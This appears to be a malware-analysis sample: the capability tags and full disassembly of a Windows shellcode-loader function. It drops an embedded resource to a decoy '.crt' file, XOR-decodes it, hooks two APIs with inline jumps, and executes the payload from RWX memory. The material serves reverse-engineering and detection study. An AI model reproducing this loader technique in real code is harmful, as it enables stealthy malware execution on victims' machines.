Function at 0x140003ca0
Capabilities:
Allocate or change rwx memory
Contain obfuscated stackstrings
Create thread
Encode data using xor
Execute shellcode via indirect call
Extract resource via kernel32 functions
Get file size
Read file on windows
Spawn thread to rwx shellcode
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r12
push rbp
push r14
push r15
lea rbp, [rsp - 0x47]
sub rsp, 0xa0
mov rax, qword [0x1400410b8]
xor rax, rsp
mov qword [rbp + 0x3f], rax
mov rcx, qword [0x140042210]
lea rdx, [rbp - 1]
mov dword [rbp - 1], 0x74726956
mov dword [rbp + 3], 0x416c6175
mov dword [rbp + 7], 0x636f6c6c
mov byte [rbp + 0xb], 0
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea r8, str.ZHENGSHU
mov edx, 0x66
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindResourceA]
mov rdx, rax
xor ecx, ecx
mov r15, rax
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov rdx, r15
xor ecx, ecx
mov esi, eax
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov rcx, rax
mov r14, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
xor r12d, r12d
lea rcx, str.C:UsersPublicDocumentsmicrosoftCer.crt
mov qword [rsp + 0x30], r12
xor r9d, r9d
mov dword [rsp + 0x28], 0x80
mov edx, 0xc0000000
mov rdi, rax
mov dword [rsp + 0x20], 2
lea r8d, [r12 + 3]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
lea r9, [rbp - 9]
mov dword [rbp - 9], r12d
mov rcx, rax
mov qword [rsp + 0x20], r12
mov r8d, esi
mov rdx, rdi
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_CloseHandle]
movups xmm0, xmmword [str.C:UsersPublicDocumentsmicrosoftCer.crt]
movzx eax, word [0x14002ad58]
lea r8d, [r12 + 1]
movups xmm1, xmmword [0x14002ad40]
mov word [rbp + 0x37], ax
xor r9d, r9d
movzx eax, byte [0x14002ad5a]
lea rcx, [rbp + 0xf]
movups xmmword [rbp + 0xf], xmm0
mov edx, 0x80000000
mov qword [rsp + 0x30], r12
movsd xmm0, qword [0x14002ad50]
mov dword [rsp + 0x28], 0x80
movsd qword [rbp + 0x2f], xmm0
movups xmmword [rbp + 0x1f], xmm1
mov byte [rbp + 0x39], al
mov dword [rsp + 0x20], 3
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rdi, rax
cmp rax, 0xffffffffffffffff
jne 0x140003e19
mov ebx, r12d
jmp 0x140003e3e
xor edx, edx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov ebx, eax
mov rcx, rdi
test eax, eax
jne 0x140003e38
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov ebx, r12d
jmp 0x140003e3e
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, ebx
mov r14d, ebx
call fcn.14000a44c
xor r9d, r9d
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], 0x80
lea rcx, [rbp + 0xf]
mov edx, 0x80000000
mov dword [rsp + 0x20], 3
mov rsi, rax
lea r8d, [r9 + 1]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x140003eaf
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov rcx, rdi
test eax, eax
je 0x140003ea9
lea r9, [rbp - 9]
mov qword [rsp + 0x20], r12
mov r8d, eax
mov rdx, rsi
call qword [sym.imp.KERNEL32.dll_ReadFile]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, r12d
test ebx, ebx
jle 0x140003ed8
mov rdx, rsi
nop dword [rax]
movzx ecx, byte [0x140041020]
xor cl, byte [rdx]
lea rdx, [rdx + 1]
sub cl, al
inc eax
mov byte [rdx - 1], cl
cmp eax, ebx
jl 0x140003ec0
mov r8d, dword [0x140042200]
lea r9, str.0123456789abcdef
mov rdx, rsi
lea rcx, [0x140042230]
call fcn.140001b90
lea rdx, [0x1400043c0]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_AddVectoredExceptionHandler]
xor r9d, r9d
mov qword [rsp + 0x28], r12
lea r8, [0x140006e90]
mov dword [rsp + 0x20], r12d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov r9d, 0x40
mov r8d, 0x3000
mov rdx, r14
xor ecx, ecx
mov r15, rax
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdi, rax
test rax, rax
jne 0x140003f60
xor r9d, r9d
lea r8, [0x14002ad6c]
lea rdx, [0x14002ad78]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov r8, r14
mov rdx, rsi
mov rcx, rdi
call fcn.14000bb20
test rdi, rdi
jne 0x140003f8c
xor r9d, r9d
lea r8, [0x14002ad6c]
lea rdx, [0x14002ad88]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
lea rcx, [0x14002acf0]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test rax, rax
je 0x14000402f
lea rdx, [0x14002ace8]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
test rax, rax
je 0x14000402f
mov edx, 0xc
mov word [rbp - 0x19], 0xb848
lea rax, [0x140004110]
mov word [rbp - 0xf], 0xe0ff
lea r9, [rbp - 9]
mov dword [0x1400421dc], 0xc
mov rcx, rbx
mov qword [rbp - 0x17], rax
lea r8d, [rdx + 0x34]
mov dword [rbp - 9], r12d
call qword [0x140042218]
movsd xmm0, qword [rbx]
lea r9, [rbp - 9]
movsd qword [0x1400421d0], xmm0
mov edx, 0xc
mov eax, dword [rbx + 8]
mov rcx, rbx
movsd xmm0, qword [rbp - 0x19]
mov dword [0x1400421d8], eax
mov eax, dword [rbp - 0x11]
movsd qword [rbx], xmm0
mov dword [rbx + 8], eax
mov r8d, dword [rbp - 9]
call qword [0x140042218]
lea rcx, [0x14002acf0]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test rax, rax
je 0x1400040d2
lea rdx, [0x14002ad00]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
test rax, rax
je 0x1400040d2
mov edx, 0xc
mov word [rbp - 0x19], 0xb848
lea rax, [0x1400042b0]
mov word [rbp - 0xf], 0xe0ff
lea r9, [rbp - 9]
mov dword [0x1400421ec], 0xc
mov rcx, rbx
mov qword [rbp - 0x17], rax
lea r8d, [rdx + 0x34]
mov dword [rbp - 9], r12d
call qword [0x140042218]
movsd xmm0, qword [rbx]
lea r9, [rbp - 9]
mov ecx, dword [rbp - 0x11]
mov edx, 0xc
movsd qword [0x1400421e0], xmm0
mov eax, dword [rbx + 8]
movsd xmm0, qword [rbp - 0x19]
mov dword [0x1400421e8], eax
movsd qword [rbx], xmm0
mov dword [rbx + 8], ecx
mov rcx, rbx
mov r8d, dword [rbp - 9]
call qword [0x140042218]
call rdi
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
mov rcx, qword [rbp + 0x3f]
xor rcx, rsp
call fcn.14000a4e0
lea r11, [rsp + 0xa0]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov r12, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret